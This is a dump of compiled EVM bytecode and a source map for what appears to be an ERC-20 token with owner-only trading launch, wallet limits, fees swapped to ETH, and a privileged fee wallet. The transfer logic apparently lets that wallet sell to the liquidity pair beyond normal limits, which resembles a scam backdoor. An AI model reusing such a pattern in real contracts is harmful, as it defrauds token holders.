f157600080fd5b5061021d610b0c565b34801561040657600080fd5b506101d66104153660046115b8565b610b29565b34801561042657600080fd5b5061021d60065481565b34801561043c57600080fd5b506102e0600081565b34801561045157600080fd5b506009546102e0906001600160a01b031681565b34801561047157600080fd5b5061021d606481565b34801561048657600080fd5b5061021d610495366004611689565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3480156104cc57600080fd5b506102066104db36600461166c565b610b40565b60006104ed338484610bd8565b5060015b92915050565b6000546001600160a01b0316331461052a5760405162461bcd60e51b8152600401610521906116b7565b60405180910390fd5b6001600160a01b03919091166000908152600260205260409020805460ff1916911515919091179055565b60006105636012600a6117e6565b610571906305f5e1006117f5565b60000361057d57600080fd5b6000805260046020527f17ef568e3e12ab5b9c7254a8d58478811de00f9e6eb34345acd53bf8fd09d3ec546105b46012600a6117e6565b6105c2906305f5e1006117f5565b6105cc919061180c565b905090565b6001600160a01b038316600090815260016020908152604080832033845290915281205460001914610636576001600160a01b03841660009081526001602090815260408083203384529091528120805484929061063090849061180c565b90915550505b610641848484610c9c565b949350505050565b6000546001600160a01b031633146106735760405162461bcd60e51b8152600401610521906116b7565b600a54600160a01b900460ff16156106cd5760405162461bcd60e51b815260206004820152601a60248201527f54726164696e6720697320616c726561647920616c6c6f7765640000000000006044820152606401610521565b600a805460ff60a01b1916600160a01b1790556007805460ff19166001179055600954306000818152600460205260408120546001600160a01b039093169263f305d7199247929091908061072a6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610792573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107b7919061181f565b5050600a5460095460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610810573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610834919061184d565b50565b60006108456012600a6117e6565b610853906305f5e1006117f5565b60000361085f57600080fd5b50601290565b6000546001600160a01b0316331461088f5760405162461bcd60e51b8152600401610521906116b7565b6108996000611199565b565b6000546001600160a01b031633146108c55760405162461bcd60e51b8152600401610521906116b7565b6108d16012600a6117e6565b6108df906305f5e1006117f5565b600855565b6000546001600160a01b0316331461090e5760405162461bcd60e51b8152600401610521906116b7565b60078054610100600160a81b0319166101006001600160a01b038481168202929092179283905590910481166000908152600260205260409020805460ff1916600117905560095461096591309116600019610bd8565b600960009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109dc919061186a565b6001600160a01b031663c9c65396600960009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a3d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a61919061186a565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303816000875af1158015610aad573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ad1919061186a565b600a80546001600160a01b0319166001600160a01b039290921691821790556000908152600360205260409020805460ff1916600117905550565b610b186012600a6117e6565b610b26906305f5e1006117f5565b81565b6000610b36338484610c9c565b5060019392505050565b6000546001600160a01b03163314610b6a5760405162461bcd60e51b8152600401610521906116b7565b6001600160a01b038116610bcf5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610521565b61083481611199565b6001600160a01b038316610c245760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b6044820152606401610521565b6001600160a01b038216610c705760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b6044820152606401610521565b6001600160a01b0392831660009081526001602090815260408083209490951682529290925291902055565b600060016001600160a01b03841615801590610cc057506001600160a01b03851615155b610cfe5760405162461bcd60e51b815260206004820152600f60248201526e696e76616c6964206164647265737360881b6044820152606401610521565b60008311610d6d5760405162461bcd60e51b815260206004820152603660248201527f496e73756666696369656e74206572726f722e2074686520616d6f756e74206d6044820152757573742062652061626f7665207468616e207a65726f60501b6064820152608401610521565b610d796012600a6117e6565b610d87906305f5e1006117f5565b83111580610dbf57506007546001600160a01b0386811661010090920416148015610dbf5750600a546001600160a01b038581169116145b610e015760405162461bcd60e51b8152602060048201526013602482015272125b9cdd59999a58da595b9d08185b5bdd5b9d606a1b6044820152606401610521565b6001600160a01b03851660009081526002602052604090205460ff16158015610e4357506001600160a01b03841660009081526002602052604090205460ff16155b15610e9a57600a54600160a01b900460ff16610e9a5760405162461bcd60e51b8152602060048201526016602482015275151c98591a5b99c81a5cc81b9bdd08185b1b1bddd95960521b6044820152606401610521565b6001600160a01b03851660009081526002602052604090205460ff16158015610edc57506001600160a01b03841660009081526002602052604090205460ff16155b8015610f0157506001600160a01b03841660009081526003602052604090205460ff16155b8015610f1557506001600160a01b03841615155b15610f8f576008546001600160a01b038516600090815260046020526040902054610f41908590611887565b1115610f8f5760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e00006044820152606401610521565b600a54600160a81b900460ff16158015610fc157506001600160a01b03841660009081526003602052604090205460ff165b8015610fd65750600a54600160a01b900460ff165b80156110145750620f4240610fed6012600a6117e6565b610ffb906305f5e1006117f5565b6110069060016117f5565b611010919061189a565b8310155b156110eb5730600090815260046020526040902054620f42406110396012600a6117e6565b611047906305f5e1006117f5565b6110529060016117f5565b61105c919061189a565b81106110a8576110a86110a38561109e84606461107b6012600a6117e6565b611089906305f5e1006117f5565b6110949060016117f5565b61109e919061189a565b6111e9565b611201565b6007546040516001600160a01b0361010090920491909116904780156108fc02916000818181858888f193505050501580156110e8573d6000803e3d6000fd5b50505b600061110c866110fb8888611404565b611105898961144b565b8786611492565b6001600160a01b038616600090815260046020526040812080549293508392909190611139908490611887565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161118591815260200190565b60405180910390a350600195945050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60008183116111f857826111fa565b815b9392505050565b600a805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611249576112496118bc565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112c6919061186a565b816001815181106112d9576112d96118bc565b6001600160a01b03928316602091820292909201810191909152306000908152600182526040808220600954909416825292909152205460001914611343573060009081526001602090815260408083206009546001600160a01b03168452909152902060001990555b60095460405163791ac94760e01b81526001600160a01b039091169063791ac9479061137c9085906000908690309042906004016118d2565b600060405180830381600087803b15801561139657600080fd5b505af19250505080156113a7575060015b6113b157506113f4565b6007546040516001600160a01b0361010090920491909116904780156108fc02916000818181858888f193505050501580156113f1573d6000803e3d6000fd5b50505b50600a805460ff60a81b19169055565b6001600160a01b038116600090815260036020526040812054819060ff1615801561064157505050506001600160a01b031660009081526003602052604090205460ff1690565b6001600160a01b038116600090815260036020526040812054819060ff16801561064157505050506001600160a01b031660009081526003602052604090205460ff161590565b600080826114a2575060006114bd565b85806114ab5750845b156114b8575060006114bd565b506006545b600060646114cb83876117f5565b6114d5919061189a565b90506114e18583611525565b6001600160a01b0389166000908152600460205260408120805490919061150990849061180c565b909155506115199050818661180c565b98975050505050505050565b60006115336012600a6117e6565b611541906305f5e1006117f5565b83111561154e57816111fa565b5090919050565b600060208083528351808285015260005b8181101561158257858101830151858201604001528201611566565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461083457600080fd5b600080604083850312156115cb57600080fd5b82356115d6816115a3565b946020939093013593505050565b801515811461083457600080fd5b6000806040838503121561160557600080fd5b8235611610816115a3565b91506020830135611620816115e4565b809150509250929050565b60008060006060848603121561164057600080fd5b833561164b816115a3565b9250602084013561165b816115a3565b929592945050506040919091013590565b60006020828403121561167e57600080fd5b81356111fa816115a3565b6000806040838503121561169c57600080fd5b82356116a7816115a3565b91506020830135611620816115a3565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561173d578160001904821115611723576117236116ec565b8085161561173057918102915b93841c9390800290611707565b509250929050565b600082611754575060016104f1565b81611761575060006104f1565b816001811461177757600281146117815761179d565b60019150506104f1565b60ff841115611792576117926116ec565b50506001821b6104f1565b5060208310610133831016604e8410600b84101617156117c0575081810a6104f1565b6117ca8383611702565b80600019048211156117de576117de6116ec565b029392505050565b60006111fa60ff841683611745565b80820281158282048414176104f1576104f16116ec565b818103818111156104f1576104f16116ec565b60008060006060848603121561183457600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561185f57600080fd5b81516111fa816115e4565b60006020828403121561187c57600080fd5b81516111fa816115a3565b808201808211156104f1576104f16116ec565b6000826118b757634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119225784516001600160a01b0316835293830193918301916001016118fd565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212209e6a891fc3032b5219bae478121ab03a6525567fa47ef38dd70147edae19bcb664736f6c63430008130033

Deployed Bytecode Sourcemap

5573:8605:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7226:94;;;;;;;;;;-1:-1:-1;7307:5:0;;;;;;;;;;;;-1:-1:-1;;;7307:5:0;;;;7226:94;;;;;;;:::i;:::-;;;;;;;;8886:193;;;;;;;;;;-1:-1:-1;8886:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;8886:193:0;1023:187:1;9863:123:0;;;;;;;;;;-1:-1:-1;9863:123:0;;;;;:::i;:::-;;:::i;:::-;;6729:208;;;;;;;;;;;;;:::i;:::-;;;1871:25:1;;;1859:2;1844:18;6729:208:0;1725:177:1;9390:340:0;;;;;;;;;;-1:-1:-1;9390:340:0;;;;;:::i;:::-;;:::i;9738:117::-;;;;;;;;;;-1:-1:-1;9738:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;9825:22:0;9801:4;9825:22;;;:13;:22;;;;;;;;;9738:117;13659:516;;;;;;;;;;;;;:::i;6945:167::-;;;;;;;;;;;;;:::i;:::-;;;2792:4:1;2780:17;;;2762:36;;2750:2;2735:18;6945:167:0;2620:184:1;6634:21:0;;;;;;;;;;-1:-1:-1;6634:21:0;;;;-1:-1:-1;;;;;6634:21:0;;;;;;-1:-1:-1;;;;;2973:32:1;;;2955:51;;2943:2;2928:18;6634:21:0;2809:203:1;6662:34:0;;;;;;;;;;-1:-1:-1;6662:34:0;;;;-1:-1:-1;;;6662:34:0;;;;;;7626:117;;;;;;;;;;-1:-1:-1;7626:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;7719:16:0;7692:7;7719:16;;;:7;:16;;;;;;;7626:117;940:94;;;;;;;;;;;;;:::i;13557:::-;;;;;;;;;;;;;:::i;7328:::-;;;;;;;;;;-1:-1:-1;7380:7:0;790:6;-1:-1:-1;;;;;790:6:0;7328:94;6729:208;7120:98;;;;;;;;;;-1:-1:-1;7203:7:0;;;;;;;;;;;;-1:-1:-1;;;7203:7:0;;;;7120:98;;8242:394;;;;;;;;;;-1:-1:-1;8242:394:0;;;;;:::i;:::-;;:::i;6119:71::-;;;;;;;;;;;;;:::i;8681:197::-;;;;;;;;;;-1:-1:-1;8681:197:0;;;;;:::i;:::-;;:::i;6246:29::-;;;;;;;;;;;;;;;;5719:74;;;;;;;;;;;;5751:42;5719:74;;6598:27;;;;;;;;;;-1:-1:-1;6598:27:0;;;;-1:-1:-1;;;;;6598:27:0;;;6197:42;;;;;;;;;;;;6236:3;6197:42;;7430:188;;;;;;;;;;-1:-1:-1;7430:188:0;;;;;:::i;:::-;-1:-1:-1;;;;;7582:19:0;;;7550:7;7582:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;7430:188;1042:229;;;;;;;;;;-1:-1:-1;1042:229:0;;;;;:::i;:::-;;:::i;8886:193::-;8990:4;9012:37;9021:10;9033:7;9042:6;9012:8;:37::i;:::-;-1:-1:-1;9067:4:0;8886:193;;;;;:::o;9863:123::-;763:7;790:6;-1:-1:-1;;;;;790:6:0;321:10;852:23;844:68;;;;-1:-1:-1;;;844:68:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;9946:22:0;;;::::1;;::::0;;;:13:::1;:22;::::0;;;;:32;;-1:-1:-1;;9946:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;9863:123::o;6729:208::-;6784:7;6177:13;6069:2;6177;:13;:::i;:::-;6163:27;;:11;:27;:::i;:::-;6829:1;6808:22;6804:63;;6847:8;;;6804:63;5751:42;7719:16;;:7;:16;;;;6177:13;6069:2;6177;:13;:::i;:::-;6163:27;;:11;:27;:::i;:::-;6884:45;;;;:::i;:::-;6877:52;;6729:208;:::o;9390:340::-;-1:-1:-1;;;;;9545:19:0;;9524:4;9545:19;;;:11;:19;;;;;;;;9565:10;9545:31;;;;;;;;-1:-1:-1;;9545:52:0;9541:126;;-1:-1:-1;;;;;9614:19:0;;;;;;:11;:19;;;;;;;;9634:10;9614:31;;;;;;;:41;;9649:6;;9614:19;:41;;9649:6;;9614:41;:::i;:::-;;;;-1:-1:-1;;9541:126:0;9686:36;9696:6;9704:9;9715:6;9686:9;:36::i;:::-;9679:43;9390:340;-1:-1:-1;;;;9390:340:0:o;13659:516::-;763:7;790:6;-1:-1:-1;;;;;790:6:0;321:10;852:23;844:68;;;;-1:-1:-1;;;844:68:0;;;;;;;:::i;:::-;13722:14:::1;::::0;-1:-1:-1;;;13722:14:0;::::1;;;13721:15;13713:54;;;::::0;-1:-1:-1;;;13713:54:0;;6019:2:1;13713:54:0::1;::::0;::::1;6001:21:1::0;6058:2;6038:18;;;6031:30;6097:28;6077:18;;;6070:56;6143:18;;13713:54:0::1;5817:350:1::0;13713:54:0::1;13778:14;:21:::0;;-1:-1:-1;;;;13778:21:0::1;-1:-1:-1::0;;;13778:21:0::1;::::0;;13810:11:::1;:18:::0;;-1:-1:-1;;13810:18:0::1;13795:4;13810:18;::::0;;13841:10:::1;::::0;13920:4:::1;13778:21:::0;13940:22;;;:7:::1;:22;::::0;;;;;-1:-1:-1;;;;;13841:10:0;;::::1;::::0;:26:::1;::::0;13875:21:::1;::::0;13920:4;;13940:22;13778:21;14009:7:::1;763::::0;790:6;-1:-1:-1;;;;;790:6:0;;717:87;14009:7:::1;13841:216;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13841:216:0;;;-1:-1:-1;;;;;6531:15:1;;;13841:216:0::1;::::0;::::1;6513:34:1::0;6563:18;;;6556:34;;;;6606:18;;;6599:34;;;;6649:18;;;6642:34;6713:15;;;6692:19;;;6685:44;14031:15:0::1;6745:19:1::0;;;6738:35;6447:19;;13841:216:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;14075:6:0::1;::::0;14113:10:::1;::::0;14068:99:::1;::::0;-1:-1:-1;;;14068:99:0;;-1:-1:-1;;;;;14113:10:0;;::::1;14068:99;::::0;::::1;7269:51:1::0;-1:-1:-1;;7336:18:1;;;7329:34;14075:6:0;::::1;::::0;-1:-1:-1;14068:22:0::1;::::0;7242:18:1;;14068:99:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;13659:516::o:0;6945:167::-;6997:5;6177:13;6069:2;6177;:13;:::i;:::-;6163:27;;:11;:27;:::i;:::-;7040:1;7019:22;7015:63;;7058:8;;;7015:63;-1:-1:-1;6069:2:0;;6945:167::o;940:94::-;763:7;790:6;-1:-1:-1;;;;;790:6:0;321:10;852:23;844:68;;;;-1:-1:-1;;;844:68:0;;;;;;;:::i;:::-;1005:21:::1;1023:1;1005:9;:21::i;:::-;940:94::o:0;13557:::-;763:7;790:6;-1:-1:-1;;;;;790:6:0;321:10;852:23;844:68;;;;-1:-1:-1;;;844:68:0;;;;;;;:::i;:::-;6177:13:::1;6069:2;6177;:13;:::i;:::-;6163:27;::::0;:11:::1;:27;:::i;:::-;13611:12;:32:::0;13557:94::o;8242:394::-;763:7;790:6;-1:-1:-1;;;;;790:6:0;321:10;852:23;844:68;;;;-1:-1:-1;;;844:68:0;;;;;;;:::i;:::-;8307:10:::1;:27:::0;;-1:-1:-1;;;;;;8307:27:0::1;;-1:-1:-1::0;;;;;8307:27:0;;::::1;::::0;::::1;::::0;;;::::1;::::0;;;;8359:10;;::::1;::::0;::::1;-1:-1:-1::0;8345:25:0;;;:13:::1;:25;::::0;;;;:32;;-1:-1:-1;;8345:32:0::1;-1:-1:-1::0;8345:32:0::1;::::0;;8420:10:::1;::::0;8388:63:::1;::::0;8405:4:::1;::::0;8420:10:::1;-1:-1:-1::0;;8388:8:0::1;:63::i;:::-;8484:10;;;;;;;;;-1:-1:-1::0;;;;;8484:10:0::1;-1:-1:-1::0;;;;;8484:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8473:43:0::1;;8531:10;;;;;;;;;-1:-1:-1::0;;;;;8531:10:0::1;-1:-1:-1::0;;;;;8531:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8473:114;::::0;-1:-1:-1;;;;;;8473:114:0::1;::::0;;;;;;-1:-1:-1;;;;;8110:15:1;;;8473:114:0::1;::::0;::::1;8092:34:1::0;8571:4:0::1;8142:18:1::0;;;8135:43;8027:18;;8473:114:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8464:6;:123:::0;;-1:-1:-1;;;;;;8464:123:0::1;-1:-1:-1::0;;;;;8464:123:0;;;::::1;::::0;;::::1;::::0;;-1:-1:-1;8598:23:0;;;:15:::1;:23;::::0;;;;:30;;-1:-1:-1;;8598:30:0::1;-1:-1:-1::0;8598:30:0::1;::::0;;-1:-1:-1;8242:394:0:o;6119:71::-;6177:13;6069:2;6177;:13;:::i;:::-;6163:27;;:11;:27;:::i;:::-;6119:71;:::o;8681:197::-;8786:4;8808:40;8818:10;8830:9;8841:6;8808:9;:40::i;:::-;-1:-1:-1;8866:4:0;;8681:197;-1:-1:-1;;;8681:197:0:o;1042:229::-;763:7;790:6;-1:-1:-1;;;;;790:6:0;321:10;852:23;844:68;;;;-1:-1:-1;;;844:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1145:22:0;::::1;1123:110;;;::::0;-1:-1:-1;;;1123:110:0;;8391:2:1;1123:110:0::1;::::0;::::1;8373:21:1::0;8430:2;8410:18;;;8403:30;8469:34;8449:18;;;8442:62;-1:-1:-1;;;8520:18:1;;;8513:36;8566:19;;1123:110:0::1;8189:402:1::0;1123:110:0::1;1244:19;1254:8;1244:9;:19::i;9087:295::-:0;-1:-1:-1;;;;;9216:20:0;;9208:52;;;;-1:-1:-1;;;9208:52:0;;8798:2:1;9208:52:0;;;8780:21:1;8837:2;8817:18;;;8810:30;-1:-1:-1;;;8856:18:1;;;8849:49;8915:18;;9208:52:0;8596:343:1;9208:52:0;-1:-1:-1;;;;;9279:21:0;;9271:53;;;;-1:-1:-1;;;9271:53:0;;8798:2:1;9271:53:0;;;8780:21:1;8837:2;8817:18;;;8810:30;-1:-1:-1;;;8856:18:1;;;8849:49;8915:18;;9271:53:0;8596:343:1;9271:53:0;-1:-1:-1;;;;;9337:19:0;;;;;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;:37;9087:295::o;10467:1670::-;10588:4;10620;-1:-1:-1;;;;;10643:21:0;;;;;;:46;;-1:-1:-1;;;;;;10668:21:0;;;;10643:46;10635:74;;;;-1:-1:-1;;;10635:74:0;;9146:2:1;10635:74:0;;;9128:21:1;9185:2;9165:18;;;9158:30;-1:-1:-1;;;9204:18:1;;;9197:45;9259:18;;10635:74:0;8944:339:1;10635:74:0;10751:1;10742:6;:10;10720:114;;;;-1:-1:-1;;;10720:114:0;;9490:2:1;10720:114:0;;;9472:21:1;9529:2;9509:18;;;9502:30;9568:34;9548:18;;;9541:62;-1:-1:-1;;;9619:18:1;;;9612:52;9681:19;;10720:114:0;9288:418:1;10720:114:0;6177:13;6069:2;6177;:13;:::i;:::-;6163:27;;:11;:27;:::i;:::-;10853:6;:27;;:71;;;-1:-1:-1;10894:10:0;;-1:-1:-1;;;;;10885:19:0;;;10894:10;;;;;10885:19;:38;;;;-1:-1:-1;10917:6:0;;-1:-1:-1;;;;;10908:15:0;;;10917:6;;10908:15;10885:38;10845:103;;;;-1:-1:-1;;;10845:103:0;;9913:2:1;10845:103:0;;;9895:21:1;9952:2;9932:18;;;9925:30;-1:-1:-1;;;9971:18:1;;;9964:49;10030:18;;10845:103:0;9711:343:1;10845:103:0;-1:-1:-1;;;;;10964:22:0;;;;;;:13;:22;;;;;;;;10963:23;:50;;;;-1:-1:-1;;;;;;10991:22:0;;;;;;:13;:22;;;;;;;;10990:23;10963:50;10959:132;;;11038:14;;-1:-1:-1;;;11038:14:0;;;;11030:49;;;;-1:-1:-1;;;11030:49:0;;10261:2:1;11030:49:0;;;10243:21:1;10300:2;10280:18;;;10273:30;-1:-1:-1;;;10319:18:1;;;10312:52;10381:18;;11030:49:0;10059:346:1;11030:49:0;-1:-1:-1;;;;;11122:22:0;;;;;;:13;:22;;;;;;;;11121:23;:63;;;;-1:-1:-1;;;;;;11162:22:0;;;;;;:13;:22;;;;;;;;11161:23;11121:63;:105;;;;-1:-1:-1;;;;;;11202:24:0;;;;;;:15;:24;;;;;;;;11201:25;11121:105;:147;;;;-1:-1:-1;;;;;;11243:25:0;;;;11121:147;11103:337;;;11350:12;;-1:-1:-1;;;;;11321:16:0;;;;;;:7;:16;;;;;;:25;;11340:6;;11321:25;:::i;:::-;:41;;11295:133;;;;-1:-1:-1;;;11295:133:0;;10742:2:1;11295:133:0;;;10724:21:1;10781:2;10761:18;;;10754:30;10820:32;10800:18;;;10793:60;10870:18;;11295:133:0;10540:354:1;11295:133:0;11457:6;;-1:-1:-1;;;11457:6:0;;;;11456:7;:51;;;;-1:-1:-1;;;;;;11483:24:0;;;;;;:15;:24;;;;;;;;11456:51;:86;;;;-1:-1:-1;11528:14:0;;-1:-1:-1;;;11528:14:0;;;;11456:86;:135;;;;-1:-1:-1;6503:9:0;6177:13;6069:2;6177;:13;:::i;:::-;6163:27;;:11;:27;:::i;:::-;6478:21;;6498:1;6478:21;:::i;:::-;6477:35;;;;:::i;:::-;11563:6;:28;;11456:135;11452:429;;;11657:4;11608:28;7719:16;;;:7;:16;;;;;;6503:9;6177:13;6069:2;6177;:13;:::i;:::-;6163:27;;:11;:27;:::i;:::-;6478:21;;6498:1;6478:21;:::i;:::-;6477:35;;;;:::i;:::-;11682:20;:42;11678:132;;11743:67;11756:53;11760:6;11768:40;11772:20;6586:3;6177:13;6069:2;6177;:13;:::i;:::-;6163:27;;:11;:27;:::i;:::-;6561:21;;6581:1;6561:21;:::i;:::-;6560:29;;;;:::i;:::-;11768:3;:40::i;11756:53::-;11743:12;:67::i;:::-;11827:10;;:42;;-1:-1:-1;;;;;11827:10:0;;;;;;;;;11847:21;11827:42;;;;;;;;;11847:21;11827:10;:42;;;;;;;;;;;;;;;;;;;;;11593:288;11452:429;11893:22;11918:84;11926:7;11935:23;11941:7;11950;11935:5;:23::i;:::-;11960:24;11967:7;11976;11960:6;:24::i;:::-;11986:6;11994:7;11918;:84::i;:::-;-1:-1:-1;;;;;12013:16:0;;;;;;:7;:16;;;;;:34;;11893:109;;-1:-1:-1;11893:109:0;;12013:16;;;:34;;11893:109;;12013:34;:::i;:::-;;;;;;;;12081:7;-1:-1:-1;;;;;12063:42:0;12072:7;-1:-1:-1;;;;;12063:42:0;;12090:14;12063:42;;;;1871:25:1;;1859:2;1844:18;;1725:177;12063:42:0;;;;;;;;-1:-1:-1;12125:4:0;;10467:1670;-1:-1:-1;;;;;10467:1670:0:o;1279:173::-;1335:16;1354:6;;-1:-1:-1;;;;;1371:17:0;;;-1:-1:-1;;;;;;1371:17:0;;;;;;1404:40;;1354:6;;;;;;;1404:40;;1335:16;1404:40;1324:128;1279:173;:::o;10357:102::-;10414:7;10445:1;10441;:5;:10;;10450:1;10441:10;;;10448:1;10441:10;10434:17;10357:102;-1:-1:-1;;;10357:102:0:o;12771:778::-;7786:6;:13;;-1:-1:-1;;;;7786:13:0;-1:-1:-1;;;7786:13:0;;;12880:16:::1;::::0;;12894:1:::1;12880:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12880:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12880:16:0::1;12856:40;;12925:4;12907;12912:1;12907:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12907:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12951:10:::1;::::0;:17:::1;::::0;;-1:-1:-1;;;12951:17:0;;;;:10;;;::::1;::::0;:15:::1;::::0;:17:::1;::::0;;::::1;::::0;12907:7;;12951:17;;;;;:10;:17:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12941:4;12946:1;12941:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12941:27:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:27;;;;13019:4:::1;12999:26;::::0;;;:11:::1;:26:::0;;;;;;13034:10:::1;::::0;;;::::1;12999:47:::0;;;;;;;;-1:-1:-1;;12999:68:0::1;12981:192;;13114:4;13094:26;::::0;;;:11:::1;:26;::::0;;;;;;;13129:10:::1;::::0;-1:-1:-1;;;;;13129:10:0::1;13094:47:::0;;;;;;;-1:-1:-1;;13094:67:0;;12981:192:::1;13202:10;::::0;:224:::1;::::0;-1:-1:-1;;;13202:224:0;;-1:-1:-1;;;;;13202:10:0;;::::1;::::0;:61:::1;::::0;:224:::1;::::0;13282:20;;13202:10:::1;::::0;13341:4;;13372::::1;::::0;13396:15:::1;::::0;13202:224:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;13185:293;;13460:7;;;13185:293;13498:10;::::0;13490:51:::1;::::0;-1:-1:-1;;;;;13498:10:0::1;::::0;;::::1;::::0;;;::::1;::::0;13519:21:::1;13490:51:::0;::::1;;;::::0;::::1;::::0;;;13519:21;13498:10;13490:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;12845:704;7810:1;-1:-1:-1::0;7822:6:0;:14;;-1:-1:-1;;;;7822:14:0;;;12771:778::o;9994:172::-;-1:-1:-1;;;;;10090:20:0;;10058:4;10090:20;;;:15;:20;;;;;;10058:4;;10090:20;;10089:21;:45;;;;-1:-1:-1;;;;;;;;;10114:20:0;;;;;:15;:20;;;;;;;;;9994:172::o;10174:175::-;-1:-1:-1;;;;;10271:20:0;;10239:4;10271:20;;;:15;:20;;;;;;10239:4;;10271:20;;:45;;;;-1:-1:-1;;;;;;;;;10296:20:0;;;;;:15;:20;;;;;;;;10295:21;;10174:175::o;12288:475::-;12454:7;;12506;12502:106;;-1:-1:-1;12521:1:0;12502:106;;;12542:10;:25;;;;12556:11;12542:25;12538:70;;;-1:-1:-1;12575:1:0;12538:70;;;-1:-1:-1;12598:10:0;;12538:70;12621:17;6236:3;12642:12;12651:3;12642:6;:12;:::i;:::-;12641:29;;;;:::i;:::-;12621:49;;12700:19;12707:6;12715:3;12700:6;:19::i;:::-;-1:-1:-1;;;;;12683:13:0;;;;;;:7;:13;;;;;:36;;:13;;;:36;;;;;:::i;:::-;;;;-1:-1:-1;12737:18:0;;-1:-1:-1;12746:9:0;12737:6;:18;:::i;:::-;12730:25;12288:475;-1:-1:-1;;;;;;;;12288:475:0:o;12145:135::-;12209:7;6177:13;6069:2;6177;:13;:::i;:::-;6163:27;;:11;:27;:::i;:::-;12236:3;:24;;:36;;12269:3;12236:36;;;-1:-1:-1;12263:3:0;;12145:135;-1:-1:-1;12145:135:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1215:118::-;1301:5;1294:13;1287:21;1280:5;1277